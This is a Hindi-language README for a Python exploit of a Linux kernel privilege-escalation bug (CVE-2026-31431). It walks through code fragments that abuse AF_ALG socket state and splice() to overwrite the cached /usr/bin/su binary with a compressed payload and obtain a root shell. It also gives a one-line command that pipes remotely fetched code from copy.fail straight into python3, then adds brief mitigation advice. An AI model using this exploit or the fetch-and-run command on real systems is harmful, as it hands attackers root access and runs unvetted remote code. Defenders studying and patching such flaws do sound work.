
# लिनक्स कर्नेल स्थानीय विशेषाधिकार वृद्धि (CVE-2026-31431) के लिए पायथन एक्सप्लॉइट AF_ALG सॉकेट स्टेट कन्फ्यूजन और `splice()` का उपयोग करके मनमाना फ़ाइल लेखन और रूट एक्सेस प्राप्त करने के लिए पायथन एक्सप्लॉइट।
यह रिपॉजिटरी पूर्णतः शैक्षिक और साइबर सुरक्षा अनुसंधान उद्देश्यों के लिए है। एक्सप्लॉइट कोड का विश्लेषण अंतर्निहित कमजोरी को समझने, पैचिंग को सुविधाजनक बनाने और रक्षात्मक रणनीतियाँ विकसित करने के लिए किया जाता है। इसे उन सिस्टमों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
"कॉपी फेल" लिनक्स कर्नेल में पाई गई एक गंभीर स्थानीय विशेषाधिकार वृद्धि (LPE) कमजोरी है। यह एक अन-विशेषाधिकार प्राप्त उपयोगकर्ता को कर्नेल द्वारा फ़ाइल सिस्टम और एसिंक्रोनस क्रिप्टोग्राफी API (AF_ALG) के बीच मेमोरी संचालन को संभालने के तरीके में एक दोष का फायदा उठाकर root एक्सेस प्राप्त करने की अनुमति देता है।
प्रदान किया गया Python एक्सप्लॉइट कर्नेल मेमोरी में एक मनमाना आउट-ऑफ-बाउंड्स (OOB) राइट प्राप्त करने के लिए अस्पष्ट Linux syscalls और इंटरफेस के संयोजन का लाभ उठाता है, जिसे बाद में डिस्क पर एक मनमाना फ़ाइल राइट में परिवर्तित किया जाता है।
यहाँ हमले की श्रृंखला का चरण-दर-चरण विवरण है:
AF_ALG इंटरफेस प्रारंभिकरणa=s.socket(38, 5, 0)
a.bind(("aead","authesn(hmac(sha256),cbc(aes))"))
स्क्रिप्ट एक AF_ALG सॉकेट (फैमिली 38) बनाता है। यह इंटरफेस उपयोगकर्ता-स्पेस अनुप्रयोगों को क्रिप्टोग्राफिक संचालन को कर्नेल में ऑफलोड करने की अनुमति देता है। यह विशेष रूप से HMAC-SHA256 और CBC-AES को संयोजित करने वाली एक AEAD (प्रमाणित एन्क्रिप्शन के साथ संबद्ध डेटा) सिफर श्रृंखला का अनुरोध करता है।
setsockopt के माध्यम से स्टेट कन्फ्यूजनv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
स्क्रिप्ट setsockopt का उपयोग करके सॉकेट की आंतरिक स्थिति में हेरफेर करती है। हेक्साडेसिमल पेलोड और None तर्क को कर्नेल के क्रिप्टो API बफर प्रबंधन में एक सीमा स्थिति या पूर्णांक ओवरफ्लो को ट्रिगर करने के लिए सावधानीपूर्वक तैयार किया गया है। यह कॉपी ऑपरेशन को कर्नेल के अंदर सुरक्षित रूप से "विफल" कर देता है, जिससे सॉकेट एक असंगत, कमजोर स्थिति में रह जाता है।
splice() के साथ ज़ीरो-कॉपी डेटा ट्रांसफरn=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
यह एक्सप्लॉइट का मूल है। डेटा को उपयोगकर्ता स्पेस में पढ़ने और वापस लिखने के बजाय, splice() डेटा को पूरी तरह से कर्नेल स्पेस में फ़ाइल डिस्क्रिप्टर के बीच सीधे स्थानांतरित करता है।
स्क्रिप्ट /usr/bin/su (एक SUID root बाइनरी) खोलती है और उसमें से डेटा को गलत कॉन्फ़िगर किए गए AF_ALG सॉकेट में स्प्लाइस करने का प्रयास करती है। चूंकि चरण 2 में सॉकेट की स्थिति दूषित हो गई थी, इस ज़ीरो-कॉपी ऑपरेशन के दौरान कर्नेल की बाउंड्स जाँच विफल हो जाती है।
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
स्क्रिप्ट एक संपीड़ित पेलोड (संभवतः एक छोटा शेलकोड या संशोधित बाइनरी ब्लॉब) को अनपैक करती है। यह एक लूप में प्रवेश करती है, इस पेलोड को 4 बाइट्स प्रति बार दूषित सॉकेट बफर में भेजती है। बाउंड्स-चेकिंग विफलता के कारण, ये 4-बाइट राइट कर्नेल के पेज कैश में मनमाने ऑफसेट पर पहुँचते हैं—ठीक वही मेमोरी स्पेस जहाँ /usr/bin/su लोड होता है।
g.system("su")
/usr/bin/su के पेज-कैश्ड संस्करण के भीतर विशिष्ट निर्देश पॉइंटर्स या लॉजिक जाँचों को अधिलेखित करके, हमलावर बाइनरी के व्यवहार को संशोधित करता है। जब system("su") कहा जाता है, तो यह संशोधित SUID बाइनरी को निष्पादित करता है। बाइनरी root के रूप में चलती है लेकिन मानक पासवर्ड सत्यापन को छोड़ देती है, जिससे हमलावर सीधे root शेल में पहुँच जाता है।
अपने Linux सिस्टम में copyfail.py डाउनलोड करके चलाएँ या त्वरित निष्पादन के लिए नीचे दिए गए curl अनुरोध का उपयोग करें
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG को प्रतिबंधित करें: यदि आपके वर्कलोड के लिए क्रिप्टोग्राफिक ऑफलोडिंग आवश्यक नहीं है, तो /etc/modprobe.d/blacklist.conf में blacklist af_alg जोड़कर af_alg कर्नेल मॉड्यूल को अक्षम करें।splice(), socket() (विशेष रूप से फैमिली 38), और setsockopt() का उपयोग करने की क्षमता को प्रतिबंधित करें।